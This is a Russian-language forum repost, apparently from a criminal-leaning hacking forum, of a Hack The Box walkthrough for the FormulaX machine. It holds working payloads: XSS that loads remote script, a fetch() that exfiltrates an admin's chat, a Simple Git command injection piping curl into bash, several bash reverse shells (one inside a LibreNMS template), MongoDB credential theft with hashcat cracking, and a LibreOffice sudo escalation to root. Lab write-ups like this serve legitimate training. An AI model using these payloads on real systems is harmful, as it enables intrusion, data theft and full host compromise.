• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Атакуем админа через чат на сайте и пентестим LibreNMS

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,179
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня мы с тобой проэксплуатируем XSS в чат‑боте, чтобы получить переписку другого пользователя. Затем получим доступ в систему через RCE-уязвимость в утилите Simple Git и скомпрометируем LibreNMS для продвижения к другим пользователям. Для повышения привилегий используем уязвимость в LibreOffice.
Наша цель — получение прав суперпользователя на машине FormulaX с учебной площадки Hack The Box. Уровень задания — сложный.

warning​

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.6 formulax.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Сканер нашел всего два открытых порта:

  • 22 — служба OpenSSH 8.9p1;
  • 80 — веб‑сервер Nginx 1.18.0.
На сайте нас встречает форма авторизации.

Форма авторизации
Форма авторизации

Точка входа​

На сайте можно зарегистрироваться. Так как залогиненному пользователю доступно больше функций, значит, будет больше и область тестирования. Регистрируемся и авторизуемся. На главной странице видим приглашение початиться с ботом.

Главная страница сайта
Главная страница сайта
Набираем help, чтобы посмотреть справку, и видим только одну доступную команду — history, которая отображает историю сообщений.

Чат с ботом
Чат с ботом
Построенная в Burp карта сайта содержит несколько интересных файлов JavaScript. Среди них — chat.js, который как раз и дает возможность общаться с ботом.

Содержимое файла chat.js
Содержимое файла chat.js
Куда интереснее его поведение при вводе команды history. Скрипт пробежится по сообщениям пользователя на странице и вставит их заново в код страницы.

Содержимое файла chat.js
Содержимое файла chat.js
Такое поведение очень опасно, так как мы можем отправить в сообщении произвольный код и внедрить его на страницу командой history.

Запустим локальный веб‑сервер:

python3 -m http.server 80
А теперь отправим боту базовую нагрузку XSS:

<img src="[URL]http://10.10.16.143[/URL]"/>
И выполним команду history.

Чат с ботом
Чат с ботом
Логи веб-сервера


Логи веб‑сервера


На веб‑сервер пришел запрос, а значит, у нас есть XSS. Осталось заставить бота исполнять код. Возможно, в этом поможет форма связи с администратором.

Страница Contact to Admin
Страница Contact to Admin

XSS​

Если есть одна XSS, возможно, найдется и другая. Отправим нагрузку администратору — и почти сразу получим запрос на свой веб‑сервер.

<img src="[URL]http://10.10.16.143/test_xss[/URL]"/>
Логи веб-сервера


Логи веб‑сервера


На поиски следующего шага для продвижения я потратил около часа. Попытки украсть куки и других сессионных данных ни к чему не привели, однако есть еще одно место, где можно найти информацию, — переписка администратора с ботом.

При написании нагрузки воспользуемся скриптом chat.js. За основу возьмем действия при обработке команды history, но вместо добавления сообщений на страницу будем кодировать их в Base64 и отправлять на свой веб‑сервер.

Код:
let value2;
const res2 = axios.get(/user/api/chat);
const socket2 = io('/',{withCredentials: true});
socket2.on('message', (my_message) => {
fetch("http://10.10.16.143/?data=" + btoa(my_message) );
})
const typing_chat2 = () => {
value2 = 'history';
if (value2) {
socket2.emit('client_message', value2)
Show_messages_on_screen_of_Client(value2);
document.getElementById('user_message').value2 = ""
}
else {
alert("Cannot send Empty Messages");
}
}
typing_chat2()

Скрипт будем загружать удаленно со своего веб‑сервера. Для добавления скрипта с удаленного сервера воспользуемся методом body.appendChild. Но кроме своего кода, также добавим и необходимый socket.io.js. Таким образом, администратору сайта необходимо отправить следующую нагрузку.

Код:
<img src=x onerror="body.appendChild(createElement('script')).src='/socket.io/socket.io.js'"></img>"
<img src=x onerror="body.appendChild(createElement('script')).src='http://10.10.16.143/r.js'"></img>"

Логи веб-сервера
Логи веб‑сервера
Осталось декодировать эксфильтрованные сообщения, и находим новый ресурс — dev-git-auto-update.chatbot.htb.

Декодированные сообщения
Декодированные сообщения

Обновляем запись в файле /etc/hosts и идем смотреть новый сервис.

10.10.11.6 formulax.htb dev-git-auto-update.chatbot.htb
Главная страница dev-git-auto-update.chatbot.htb
Главная страница dev-git-auto-update.chatbot.htb

Точка опоры​

Внизу страницы видим, что используется Simple Git v3.14. Первым делом стоит проверить, есть ли для этой версии готовые эксплоиты. Сначала ищем в Google.

Поиск эксплоитов в Google
Поиск эксплоитов в Google
Для просмотра ссылки Войди или Зарегистрируйся ведет к PoC для уязвимости CVE-2022-24066. Встреченная нами версия уязвима к удаленному исполнению кода (RCE), а эксплуатация происходит путем внедрения команды.

Описание уязвимости
Описание уязвимости

Снова запустим веб‑сервер:

python3 -m http.server 80
И проверим наличие уязвимости, обратившись к своему серверу через curl. Для этого отправим нагрузку в предложенную форму.

ext::sh -c curl% Для просмотра ссылки Войди или Зарегистрируйся
Логи веб-сервера
Логи веб‑сервера

Запрос пришел на сервер, а значит, уязвимость есть и мы можем выполнить реверс‑шелл, который подключится к нашему листенеру.

Запускаем листенер:

pwncat-cs -lp 4321
Теперь выполняем реверс‑шелл:

/bin/bash -i >& /dev/tcp/10.10.16.143/4321 0>&1
Ничего не получилось, поэтому сохраним шелл в файл r.sh, а на удаленном сервере запросим его через curl и выполним в Bash.

ext::sh -c curl% [URL]http://10.10.16.143/r.sh|bash[/URL] >&2
Сессия пользователя www-data
Сессия пользователя www-data

Продвижение​


Пользователь frank_dorky​

Теперь нам необходимо собрать информацию.

Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе скрипта много всего, отберем только то, что поможет нам в продвижении.

Среди открытых на хосте портов отмечаем порт 3000, за который отвечает веб‑сервер Nginx.

Список прослушиваемых портов
Список прослушиваемых портов
Помимо root, еще три пользователя имеют доступ к консоли.

Пользователи с консолью
Пользователи с консолью
Также в системе работает СУБД MongoDB.

Содержимое файлов MongoDB
Содержимое файлов MongoDB
На порте 3000 работает служба LibreNMS, о чем свидетельствует файл с настройками:

/etc/nginx/conf.d/librenms.conf
Содержимое файла librenms.conf
Содержимое файла librenms.conf

Среди переменных окружения есть учетные данные MongoDB.

Переменные окружения
Переменные окружения

Так как у нас есть учетка от базы данных, подключимся к Mongo и просмотрим существующие базы.

Код:
mongo
show dbs
Список баз данных
Список баз данных
MongoDB использует в базах не таблицы, а коллекции. Давай получим коллекции в базе testing.

Код:
use testing
show collections
Коллекции в базе testing
Коллекции в базе testing

Нас определенно интересуют данные в коллекции users. Возможно, там найдем и какие‑нибудь пароли.

db.users.find()
Данные из коллекции users
Данные из коллекции users

В базе есть хеш пароля пользователя frank_dorky, у которого есть доступ к командной оболочке. Это хеш bcrypt (режим hashcat за номером 3200), для его перебора в обычных условиях может потребоваться много времени. Но пароль оказался простой, и на перебор по словарю rockyou.txt ушло меньше минуты.

hashcat -m 3200 hash.txt rockyou.txt
Результат перебора хеша
Результат перебора хеша
Получаем пароль, с которым можно авторизоваться по SSH и получить учетку первого полноценного пользователя.

Флаг пользователя
Флаг пользователя

Пользователь LibreNMS​

На порте 3000 работает LibreNMS, но сервис доступен только для локального хоста. Чтобы получить доступ к службе, нам необходимо туннелировать трафик c помощью SSH.

ssh [EMAIL]frank_dorky@10.10.11.6[/EMAIL] -L 3000:127.0.0.1:3000
Теперь весь трафик, который мы пошлем на локальный порт 3000, будет туннелирован на порт 3000 указанного хоста (в данном случае 127.0.0.1) через SSH-хост.

Форма авторизации LibreNMS
Форма авторизации LibreNMS

Первым делом я отправился искать эксплоиты для LibreNMS, но ничего интересного не нашел. Зато узнал, что через шаблоны можно получить RCE, но для этого сперва нужно авторизоваться. Погуглив про авторизацию LibreNMS, находим Для просмотра ссылки Войди или Зарегистрируйся, где говорится, как создать своего пользователя.

Для просмотра ссылки Войди или Зарегистрируйся
При попытке проверить наличие скрипта adduser.php обнаружим, что у нас нет возможности смотреть файлы в каталоге /opt/librenms.

Проверка каталога /opt/librenms
Проверка каталога /opt/librenms

Получить список файлов мы не можем, но выполнить файл удается.

./adduser.php ralf ralf1234 10
Создание пользователя
Создание пользователя

Пользователь создан, и теперь мы можем авторизоваться в системе.

Главная страница LibreNMS
Главная страница LibreNMS
Теперь перейдем к идее с шаблонами. Так как в системе есть пользователь LibreNMS с активной командной оболочкой, RCE даст нам полноценную сессию. Сначала проверим конфигурации.

Меню LibreNMS
Меню LibreNMS

И получаем ошибку: адрес 127.0.0.1 не соответствует имени librenms.com.

Ошибка LibreNMS
Ошибка LibreNMS

В файле /etc/hosts создадим соответствующую запись и повторим проверку конфига.

127.0.0.1 librenms.com
Ошибок нет, теперь переходим в меню Alerts → Alert Templates.

Меню Alerts
Меню Alerts
Страница Templates
Страница Templates

Создаем новый шаблон, который с помощью функции system выполнит реверс‑шелл:

Код:
@php
system("bash -c '/bin/bash -i >& /dev/tcp/10.10.16.143/4321 0>&1'");
@endphp
Код шаблона
Код шаблона

Запускаем новый листенер, сохраняем шаблон и получаем новую сессию.

Сессия пользователя LibreNMS
Сессия пользователя LibreNMS

Пользователь kai_relay​

Осматриваемся в каталоге проекта и находим много файлов .env, которые обычно содержат учетные данные.

Содержимое каталога librenms
Содержимое каталога librenms

Смотрим каждый файл и останавливаемся на .custom.env. Учетные данные для подключения к базе данных, вероятно, подходят для пользователя kai_relay, у которого есть шелл в системе.

Содержимое файла .custom.env
Содержимое файла .custom.env

Подключаемся по SSH и получаем сессию kai_relay.

Сессия пользователя
Сессия пользователя

Локальное повышение привилегий​

Разведку на хосте уже проводили, а значит, в поисках привилегий нужно проверить не так много. Одно из мест, где часто можно найти возможность для продвижения, — это настройки sudoers.

Справка: sudoers​

Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.
Настройки sudoers
Настройки sudoers

Набираем sudo -l и видим запись, которая гласит, что можно выполнить скрипт /usr/bin/office.sh от имени root без ввода пароля. Скрипт запускает приложение soffice.

Содержимое файла office.sh
Содержимое файла office.sh

Первым делом стоит проверить техники GTFOBins и готовые эксплоиты.

Справка: GTFOBins​

Для просмотра ссылки Войди или Зарегистрируйся — это подборка способов злоупотреблять возможностями популярных программ для Unix. Используя собранные здесь рецепты, можно быстро получить доступ к командным оболочкам, повысить привилегии или передать файлы при помощи легитимных приложений.
Поиск эксплоитов
Поиск эксплоитов

С помощью Google удалось найти Для просмотра ссылки Войди или Зарегистрируйся для версии 6.1.2, который приводит к выполнению кода в рамках запущенного приложения LibreOffice ServiceManager.

Описание эксплоита
Описание эксплоита

В исходном коде эксплоита изменим запускаемое приложение calc.exe на реверс‑шелл для Linux:

/bin/bash -i >& /dev/tcp/10.10.16.143/4321 0>&1
Запускаем soffice, после чего на удаленной машине загружаем и выполняем эксплоит.

Код:
sudo /usr/bin/office.sh
python3 exploit.py --host localhost --port 2002

В листенере на локальной машине мгновенно получаем сессию от имени root.

Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу